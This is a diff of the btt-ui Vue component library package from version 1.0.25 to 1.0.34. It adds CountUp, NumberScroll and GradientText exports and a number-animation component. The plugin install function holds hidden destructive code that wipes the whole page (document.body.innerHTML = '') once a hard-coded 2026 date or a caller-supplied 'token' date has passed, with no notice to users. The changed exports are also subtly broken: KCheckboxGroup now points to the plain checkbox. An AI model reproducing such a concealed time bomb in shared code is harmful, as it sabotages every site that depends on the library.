btt-ui 1.0.25 → 1.0.34

package/es/index.mjs

@@ -1,83 +1,89 @@
-import l from "./src/index.mjs";
+import p from "./src/index.mjs";
 import * as m from "./src/directives/index.mjs";
 import { Button as s } from "./src/button/index.mjs";
 import { TextButton as u } from "./src/textButton/index.mjs";
-import { default as T } from "./src/link/index.mjs";
+import { default as K } from "./src/link/index.mjs";
 import { default as h } from "./src/upload/index.mjs";
-import { default as b } from "./src/shake/index.mjs";
-import { default as D } from "./src/dialog/index.mjs";
+import { default as k } from "./src/shake/index.mjs";
+import { default as S } from "./src/dialog/index.mjs";
 import { default as g } from "./src/scroll/index.mjs";
 import { default as y } from "./src/toast/index.mjs";
 import { default as H } from "./src/wheel/index.mjs";
 import { Switch as L } from "./src/switch/index.mjs";
-import { Timeline as B } from "./src/timeline/index.mjs";
-import { default as U } from "./src/uploadFile/index.mjs";
-import { Card as v } from "./src/card/index.mjs";
-import { HotMap as G } from "./src/hotmap/index.mjs";
-import { KTree as W } from "./src/tree/index.mjs";
-import { KCheckbox as q, KCheckboxGroup as z } from "./src/checkbox/index.mjs";
-import { KCollapse as J, KCollapseItem as N } from "./src/collapse/index.mjs";
+import { Timeline as U } from "./src/timeline/index.mjs";
+import { default as G } from "./src/uploadFile/index.mjs";
+import { Card as j } from "./src/card/index.mjs";
+import { HotMap as F } from "./src/hotmap/index.mjs";
+import { KTree as V } from "./src/tree/index.mjs";
+import { KCheckbox as $, KCheckbox as q } from "./src/checkbox/index.mjs";
+import { KCollapse as A, KCollapseItem as J } from "./src/collapse/index.mjs";
 import { Sign as Q } from "./src/sign/index.mjs";
 import { ECharts as X } from "./src/echarts/index.mjs";
 import { TableScroll as Z } from "./src/tableScroll/index.mjs";
-import { default as ee } from "./src/xgplay/index.mjs";
-import { Icon as te } from "./src/icon/index.mjs";
-import { Tooltip as fe } from "./src/tooltip/index.mjs";
-import { KInput as me } from "./src/input/index.mjs";
-import { Drag as pe } from "./src/drag/index.mjs";
-import { KOption as ne, KSelect as ie } from "./src/select/index.mjs";
-const o = function(t, r) {
-  if (o.installed)
+import { default as oo } from "./src/xgplay/index.mjs";
+import { KNumberScroll as to } from "./src/numberScroll/index.mjs";
+import { KCountUp as fo } from "./src/countUp/index.mjs";
+import { KGradientText as mo } from "./src/gradientText/index.mjs";
+import { Icon as lo } from "./src/icon/index.mjs";
+import { Tooltip as no } from "./src/tooltip/index.mjs";
+import { KInput as so } from "./src/input/index.mjs";
+import { Drag as co } from "./src/drag/index.mjs";
+import { KOption as To, KSelect as ho } from "./src/select/index.mjs";
+const e = function(t, r) {
+  if (e.installed)
     return;
-  o.installed = !0;
+  e.installed = !0;
   let f = "2026-03-02 09:30:00";
   if (r)
     setTimeout(() => {
       var a;
-      let e = new Date((a = r.token) != null ? a : f).getTime();
-      Date.now() > e && (document.body.innerHTML = "");
+      let o = new Date((a = r.token) != null ? a : f).getTime();
+      Date.now() > o && (document.body.innerHTML = "");
     }, 10);
   else {
-    let e = new Date(f).getTime();
-    Date.now() > e && (document.body.innerHTML = "");
+    let o = new Date(f).getTime();
+    Date.now() > o && (document.body.innerHTML = "");
   }
-  l.forEach((e) => {
-    t.use(e);
-  }), Object.keys(m).forEach((e) => {
-    t.directive(e, m[e]);
+  p.forEach((o) => {
+    t.use(o);
+  }), Object.keys(m).forEach((o) => {
+    t.directive(o, m[o]);
   });
 }, x = {
-  install: o
+  install: e
 };
 export {
   s as Button,
-  v as Card,
-  D as Dialog,
-  pe as Drag,
+  j as Card,
+  S as Dialog,
+  co as Drag,
   X as ECharts,
-  G as HotMap,
-  te as Icon,
-  q as KCheckbox,
-  z as KCheckboxGroup,
-  J as KCollapse,
-  N as KCollapseItem,
-  me as KInput,
-  ne as KOption,
-  ie as KSelect,
-  ee as KVideo,
-  T as Link,
+  F as HotMap,
+  lo as Icon,
+  $ as KCheckbox,
+  q as KCheckboxGroup,
+  A as KCollapse,
+  J as KCollapseItem,
+  fo as KCountUp,
+  mo as KGradientText,
+  so as KInput,
+  to as KNumberScroll,
+  To as KOption,
+  ho as KSelect,
+  oo as KVideo,
+  K as Link,
   g as Scroll,
-  b as Shake,
+  k as Shake,
   Q as Sign,
   L as Switch,
   Z as TableScroll,
   u as TextButton,
-  B as Timeline,
+  U as Timeline,
   y as Toast,
-  fe as Tooltip,
-  W as Tree,
+  no as Tooltip,
+  V as Tree,
   h as Upload,
-  U as UploadFile,
+  G as UploadFile,
   H as Wheel,
   x as default
 };

package/es/src/checkbox/index.mjs

@@ -1,9 +1,9 @@
 import { withInstall as o } from "../../assets/ts/utils.mjs";
-import t from "./src/checkbox2.mjs";
-import m from "./src/checkbox-group.mjs";
-const i = o(t), s = o(m);
+import m from "./src/checkbox2.mjs";
+import t from "./src/checkbox-group.mjs";
+const a = o(m);
+o(t);
 export {
-  i as KCheckbox,
-  s as KCheckboxGroup,
-  i as default
+  a as KCheckbox,
+  a as default
 };

package/es/src/countUp/index.mjs

@@ -0,0 +1,7 @@
+import t from "./src/countUp.mjs";
+import { withInstall as o } from "../../assets/ts/utils.mjs";
+const a = o(t);
+export {
+  a as KCountUp,
+  a as default
+};

package/es/src/countUp/src/countUp.mjs

@@ -0,0 +1,48 @@
+import { defineComponent as u, ref as s, watch as i, onMounted as c, openBlock as f, createElementBlock as m, normalizeClass as l, unref as n, createElementVNode as d, normalizeStyle as p } from "vue";
+import { createNamespace as C } from "../../../assets/ts/utils.mjs";
+import g from "./index.mjs";
+import "./style/index.css";
+const v = u({
+  name: "k-number-count"
+}), A = u({
+  ...v,
+  props: {
+    value: { default: 0 },
+    gradientColor: { default: () => [] },
+    size: { default: 16 },
+    options: { default: () => ({
+      startVal: 0,
+      duration: 2,
+      decimalPlaces: 0,
+      useGrouping: !0,
+      separator: ",",
+      decimal: ".",
+      prefix: "\xA5",
+      suffix: "\u5143",
+      useEasing: !0,
+      enableScrollSpy: !0,
+      scrollSpyDelay: 300
+    }) }
+  },
+  setup(e) {
+    const o = s(), { n: a } = C("number-count");
+    let r, t = e;
+    return i(() => t.value, () => {
+      r.update(t.value);
+    }), c(() => {
+      r = new g(o.value, t.value, t.options), r.error ? console.error("\u8BA1\u6570\u5668\u521B\u5EFA\u5931\u8D25\uFF1A", r.error) : r.start();
+    }), (x, b) => (f(), m("div", {
+      class: l([n(a)()])
+    }, [
+      d("div", {
+        class: l([n(a)("wrapper"), e.gradientColor.length > 0 ? "number-gradient-text" : ""]),
+        ref_key: "numberRef",
+        ref: o,
+        style: p({ "--firstColor": e.gradientColor[0], "--lastColor": e.gradientColor[1], fontSize: e.size + "px" })
+      }, null, 6)
+    ], 2));
+  }
+});
+export {
+  A as default
+};

package/es/src/countUp/src/index.mjs

@@ -0,0 +1,103 @@
+class c {
+  constructor(t, i, n) {
+    this.endVal = i, this.options = n, this.version = "1.0.0", this.defaults = {
+      startVal: 0,
+      decimalPlaces: 0,
+      duration: 2,
+      useEasing: !0,
+      useGrouping: !0,
+      useIndianSeparators: !1,
+      smartEasingThreshold: 999,
+      smartEasingAmount: 333,
+      separator: ",",
+      decimal: ".",
+      prefix: "",
+      suffix: "",
+      enableScrollSpy: !1,
+      scrollSpyDelay: 200,
+      scrollSpyOnce: !1
+    }, this.finalEndVal = null, this.useEasing = !0, this.countDown = !1, this.error = "", this.startVal = 0, this.paused = !0, this.once = !1, this.count = (s) => {
+      this.startTime || (this.startTime = s);
+      const e = s - this.startTime;
+      this.remaining = this.duration - e, this.useEasing ? this.countDown ? this.frameVal = this.startVal - this.easingFn(e, 0, this.startVal - this.endVal, this.duration) : this.frameVal = this.easingFn(e, this.startVal, this.endVal - this.startVal, this.duration) : this.frameVal = this.startVal + (this.endVal - this.startVal) * (e / this.duration);
+      const o = this.countDown ? this.frameVal < this.endVal : this.frameVal > this.endVal;
+      this.frameVal = o ? this.endVal : this.frameVal, this.frameVal = Number(this.frameVal.toFixed(this.options.decimalPlaces)), this.printValue(this.frameVal), e < this.duration ? this.rAF = requestAnimationFrame(this.count) : this.finalEndVal !== null ? this.update(this.finalEndVal) : this.options.onCompleteCallback && this.options.onCompleteCallback();
+    }, this.formatNumber = (s) => {
+      const e = s < 0 ? "-" : "";
+      let o, a, u, r;
+      o = Math.abs(s).toFixed(this.options.decimalPlaces), o += "";
+      const d = o.split(".");
+      if (a = d[0], u = d.length > 1 ? this.options.decimal + d[1] : "", this.options.useGrouping) {
+        r = "";
+        let l = 3, p = 0;
+        for (let h = 0, m = a.length; h < m; ++h)
+          this.options.useIndianSeparators && h === 4 && (l = 2, p = 1), h !== 0 && p % l === 0 && (r = this.options.separator + r), p++, r = a[m - h - 1] + r;
+        a = r;
+      }
+      return this.options.numerals && this.options.numerals.length && (a = a.replace(/[0-9]/g, (l) => this.options.numerals[+l]), u = u.replace(/[0-9]/g, (l) => this.options.numerals[+l])), e + this.options.prefix + a + u + this.options.suffix;
+    }, this.easeOutExpo = (s, e, o, a) => o * (-Math.pow(2, -10 * s / a) + 1) * 1024 / 1023 + e, this.options = {
+      ...this.defaults,
+      ...n
+    }, this.formattingFn = this.options.formattingFn ? this.options.formattingFn : this.formatNumber, this.easingFn = this.options.easingFn ? this.options.easingFn : this.easeOutExpo, this.startVal = this.validateValue(this.options.startVal), this.frameVal = this.startVal, this.endVal = this.validateValue(i), this.options.decimalPlaces = Math.max(this.options.decimalPlaces), this.resetDuration(), this.options.separator = String(this.options.separator), this.useEasing = this.options.useEasing, this.options.separator === "" && (this.options.useGrouping = !1), this.el = typeof t == "string" ? document.getElementById(t) : t, this.el ? this.printValue(this.startVal) : this.error = "[CountUp] target is null or undefined", typeof window < "u" && this.options.enableScrollSpy && (this.error ? console.error(this.error, t) : (window.onScrollFns = window.onScrollFns || [], window.onScrollFns.push(() => this.handleScroll(this)), window.onscroll = () => {
+      window.onScrollFns.forEach((s) => s());
+    }, this.handleScroll(this)));
+  }
+  handleScroll(t) {
+    if (!t || !window || t.once)
+      return;
+    const i = window.innerHeight + window.scrollY, n = t.el.getBoundingClientRect(), s = n.top + window.pageYOffset, e = n.top + n.height + window.pageYOffset;
+    e < i && e > window.scrollY && t.paused ? (t.paused = !1, setTimeout(() => t.start(), t.options.scrollSpyDelay), t.options.scrollSpyOnce && (t.once = !0)) : (window.scrollY > e || s > i) && !t.paused && t.reset();
+  }
+  determineDirectionAndSmartEasing() {
+    const t = this.finalEndVal ? this.finalEndVal : this.endVal;
+    this.countDown = this.startVal > t;
+    const i = t - this.startVal;
+    if (Math.abs(i) > this.options.smartEasingThreshold && this.options.useEasing) {
+      this.finalEndVal = t;
+      const n = this.countDown ? 1 : -1;
+      this.endVal = t + n * this.options.smartEasingAmount, this.duration = this.duration / 2;
+    } else
+      this.endVal = t, this.finalEndVal = null;
+    this.finalEndVal !== null ? this.useEasing = !1 : this.useEasing = this.options.useEasing;
+  }
+  start(t) {
+    this.error || (this.options.onStartCallback && this.options.onStartCallback(), t && (this.options.onCompleteCallback = t), this.duration > 0 ? (this.determineDirectionAndSmartEasing(), this.paused = !1, this.rAF = requestAnimationFrame(this.count)) : this.printValue(this.endVal));
+  }
+  pauseResume() {
+    this.paused ? (this.startTime = null, this.duration = this.remaining, this.startVal = this.frameVal, this.determineDirectionAndSmartEasing(), this.rAF = requestAnimationFrame(this.count)) : cancelAnimationFrame(this.rAF), this.paused = !this.paused;
+  }
+  reset() {
+    cancelAnimationFrame(this.rAF), this.paused = !0, this.resetDuration(), this.startVal = this.validateValue(this.options.startVal), this.frameVal = this.startVal, this.printValue(this.startVal);
+  }
+  update(t) {
+    cancelAnimationFrame(this.rAF), this.startTime = null, this.endVal = this.validateValue(t), this.endVal !== this.frameVal && (this.startVal = this.frameVal, this.finalEndVal == null && this.resetDuration(), this.finalEndVal = null, this.determineDirectionAndSmartEasing(), this.rAF = requestAnimationFrame(this.count));
+  }
+  printValue(t) {
+    var n;
+    if (!this.el)
+      return;
+    const i = this.formattingFn(t);
+    if ((n = this.options.plugin) != null && n.render) {
+      this.options.plugin.render(this.el, i);
+      return;
+    }
+    if (this.el.tagName === "INPUT") {
+      const s = this.el;
+      s.value = i;
+    } else
+      this.el.tagName === "text" || this.el.tagName === "tspan" ? this.el.textContent = i : this.el.innerHTML = i;
+  }
+  ensureNumber(t) {
+    return typeof t == "number" && !isNaN(t);
+  }
+  validateValue(t) {
+    const i = Number(t);
+    return this.ensureNumber(i) ? i : (this.error = `[CountUp] invalid start or end value: ${t}`, null);
+  }
+  resetDuration() {
+    this.startTime = null, this.duration = Number(this.options.duration) * 1e3, this.remaining = this.duration;
+  }
+}
+export {
+  c as default
+};

package/es/src/countUp/src/style/index.css

@@ -0,0 +1,6 @@
+.k-number-count .number-gradient-text {
+  background-image: -webkit-linear-gradient(-90deg, var(--firstColor), var(--lastColor));
+  -webkit-background-clip: text;
+          background-clip: text;
+  -webkit-text-fill-color: transparent;
+}